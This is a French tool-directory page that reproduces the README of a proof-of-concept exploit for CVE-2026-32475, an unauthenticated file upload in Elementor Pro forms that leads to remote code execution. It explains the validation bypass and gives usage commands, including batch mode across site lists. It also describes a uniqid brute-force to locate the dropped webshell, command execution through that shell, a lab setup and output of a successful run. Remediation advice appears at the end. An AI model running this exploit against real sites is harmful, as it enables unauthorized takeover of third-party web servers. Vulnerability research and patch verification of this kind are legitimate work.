Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-32475 — Preuve de concept pour CVE-2026-32475, un téléversement arbitraire de fichier non authentifié dans Elementor Pro menant à une exécution de code à distance. Inclut la découverte automatisée, le téléversement et l'exécution de commandes avec nettoyage. | Kitploit
Outils/GitHubGitHub/sahmsec/cve-2026-32475
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

Preuve de concept pour CVE-2026-32475, un téléversement arbitraire de fichier non authentifié dans Elementor Pro menant à une exécution de code à distance. Inclut la découverte automatisée, le téléversement et l'exécution de commandes avec nettoyage.

Voir le dépôt
il y a 17h 38mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 Téléversement arbitraire de fichier non authentifié → RCE

PoC pour CVE-2026-32475 (CVSS 9.0 Critique, CWE-434) : un téléversement arbitraire de fichier non authentifié dans le module Forms d'Elementor Pro qui conduit à une exécution de code à distance. Corrigé dans Elementor Pro 4.2.2 (2026-08-19). Signalé par Tin Pham (TF1T) via le programme Bug Bounty de Patchstack.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Avertissement légal

Cette preuve de concept est fournie uniquement pour la recherche en sécurité autorisée, l'éducation et les tests défensifs.

  • Vous devez posséder le système cible ou disposer d'une autorisation écrite explicite du propriétaire du système avant d'exécuter cet outil contre celui-ci.
  • L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions (par exemple, le Computer Fraud and Abuse Act aux États-Unis, le Computer Misuse Act au Royaume-Uni, et des lois similaires dans le monde) et peut entraîner des sanctions pénales et civiles.
  • Les auteurs et contributeurs déclinent toute responsabilité en cas d'utilisation abusive, de dommage ou de conséquences juridiques découlant de l'utilisation de ce code.
  • En utilisant ce logiciel, vous acceptez de l'utiliser de manière responsable et conformément à toutes les lois applicables.
  • En quoi consiste la vulnérabilité

    Le champ File Upload des formulaires Elementor Pro traite les entrées téléversées dans deux boucles distinctes avec des sémantiques différentes (modules/forms/fields/upload.php) :

    root@kitploit:~
    // validation()
    foreach ( $files[$id] as $index => $file ) {
        if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
            return;                    // <-- interrompt TOUTE la méthode
        }
        // is_file_type_valid() ...    // jamais atteint pour l'entrée #2
    }
    
    // process_field()
    foreach ( $files[$id] as $index => $file ) {
        if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
            continue;                  // <-- ignore uniquement CETTE entrée
        }
        $filename = uniqid() . '.' . $file_extension;   // extension contrôlée par l'attaquant
        move_uploaded_file( $file['tmp_name'], $new_file );
    }
    

    Soumettre deux parties de fichier pour le même champ de téléversement — une première partie vide (filename="" → UPLOAD_ERR_NO_FILE) suivie de la charge utile .php — fait que validation() retourne avant que la liste noire d'extensions ne voie la charge utile, tandis que process_field() la déplace toujours dans wp-content/uploads/elementor/forms/<uniqid()>.php, un répertoire web public. Demander directement cette URL = exécution de code à distance.

    Le téléversement est géré par POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) sans authentification et sans nonce. Le post_id, le form_id et le nom du champ de téléversement sont visibles dans le HTML de la page publique, donc toute l'attaque est non authentifiée.

    Prérequis

    Cible :

    • Elementor Pro ≤ 4.2.1 (toutes les versions antérieures sont affectées)
    • Au moins une page publiée avec un widget Form contenant un champ File Upload
    • Le champ de téléversement ne doit pas être marqué comme Requis (état par défaut)
    • Pas de CAPTCHA sur le formulaire (reCAPTCHA/turnstile bloque la soumission non authentifiée)
    • Le répertoire de téléversement doit exécuter PHP (par défaut sur la plupart des hébergements Apache/cPanel ; bloqué sur certaines configurations nginx durcies)

    Attaquant :

    • Python 3.9+ (bibliothèque standard uniquement — aucune dépendance)
    • Accès réseau à la cible

    Utilisation

    Cible unique (découverte automatique de la page du formulaire via le sitemap/la page d'accueil) :

    root@kitploit:~
    python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
    

    Page de formulaire explicite :

    root@kitploit:~
    python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
    

    Mode lot (sites.txt : un site par ligne — base_url ou base_url page_url) :

    root@kitploit:~
    python script.py --list sites.txt --command "id" --cleanup --out results.json
    

    Format de liste JSON :

    root@kitploit:~
    [{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
    

    Exécuter une commande sur un shell déjà téléversé :

    root@kitploit:~
    python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
    

    Options clés

    FlagDéfautSignification
    --url-URL de base de la cible unique
    --list-fichier de liste pour le mode lot
    --page-url--urlpage contenant le formulaire
    --commandid; hostname; uname -acommande à exécuter via le shell
    --cleanupdésactivéauto-suppression du webshell après le test
    --field k=v-remplace un champ de formulaire auto-rempli (répétable)
    --tail0.3secondes avant le temps de téléversement estimé pour le balayage fin
    --step-fine1pas en microsecondes du balayage fin
    --full-seconddésactivéforce brute sur la seconde complète de uniqid (contre la dérive d'horloge)
    --attempts1tentatives de téléversement+balayage (nouveau nom de fichier aléatoire à chaque fois)
    --max-probes600000budget de requêtes de balayage par tentative
    --workers50threads de balayage parallèles
    --insecuredésactivéignore les erreurs TLS (cibles auto-signées)
    --out file.json-écrit le rapport au format JSON

    Comment fonctionne l'outil

    1. Découverte — récupère la page cible (ou explore le sitemap et les liens de la page d'accueil, max 20 pages) pour trouver un formulaire avec un champ File Upload.
    2. Extraction — extrait le post_id, le form_id, le nom du champ de téléversement et tous les autres champs du formulaire ; auto-remplit tous les champs avec des valeurs plausibles pour que les champs requis passent la validation (remplacez avec --field).
    3. Téléversement — envoie le POST multipart en deux parties à admin-ajax.php. Remarque : success:false avec un objet errors vide est toujours traité comme téléversé, car l'action Email par défaut se déclenche après le déplacement du fichier lorsque wp_mail() échoue. Seul un rejet du champ de téléversement lui-même (file type is not allowed) compte comme bloqué.
    4. Récupération du nom de fichier — uniqid() = 8 hex secondes + 5 hex microsecondes. Les secondes proviennent de l'en-tête Date de la réponse ; la fraction sub-seconde est estimée à partir de (t1 - date_epoch) % 1 (précise lorsque les horloges de l'attaquant et du serveur sont proches). Un sondeur keep-alive (~30x plus rapide qu'une requête par connexion) balaie la fenêtre de déplacement à résolution microseconde ; --full-second force la brute force sur la seconde entière en cas de dérive d'horloge.
    5. Exécution — GET <shell>?c=<command> exécute la commande ; --cleanup supprime le shell via ?x=1.

    États de résultat

    StatutSignification
    vulnerableshell téléversé et commande exécutée — corrigez maintenant
    blockedchamp de téléversement rejeté (corrigé en 4.2.2+, champ requis, WAF, captcha)
    uploaded_no_execfichier déposé mais nom de fichier non récupéré (réessayez avec --full-second)
    no_formaucun formulaire vulnérable trouvé sur la cible
    errorerreur de connexion/réseau

    Reproduction en laboratoire

    docker-compose.yml + setup_form_page.php reproduisent la cible vulnérable :

    root@kitploit:~
    docker compose up -d
    docker compose run --rm wpcli wp core install \
        --url=http://localhost:8090 --title="Lab" --skip-email \
        --admin_user=admin --admin_password=admin123! [email protected]
    docker compose run --rm wpcli wp plugin install elementor --activate
    # placez votre elementor-pro.zip obtenu légalement (<= 4.2.1) dans le répertoire du projet, puis :
    docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
    docker compose run --rm wpcli wp plugin activate elementor-pro
    docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
    docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
    
    python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
    

    Sortie vérifiée

    root@kitploit:~
    [+] Shell localisé (tentative 1, étape=queue fine) : http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
    [*] Exécution de la commande : uname -a
    \nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
    [*] Nettoyage (suppression du webshell)...
        rm
    

    Références

    • Avis Patchstack
    • Entrée NVD
    • Journal des modifications d'Elementor Pro (4.2.2)

    Remédiation

    Mettez à jour Elementor Pro vers 4.2.2+. La mise à jour comble la faille mais ne supprime pas les shells déjà téléversés — auditez wp-content/uploads/elementor/forms/ pour détecter les fichiers .php errants.


    Uniquement pour la recherche en sécurité autorisée et l'utilisation en laboratoire.

    Télécharger l’outil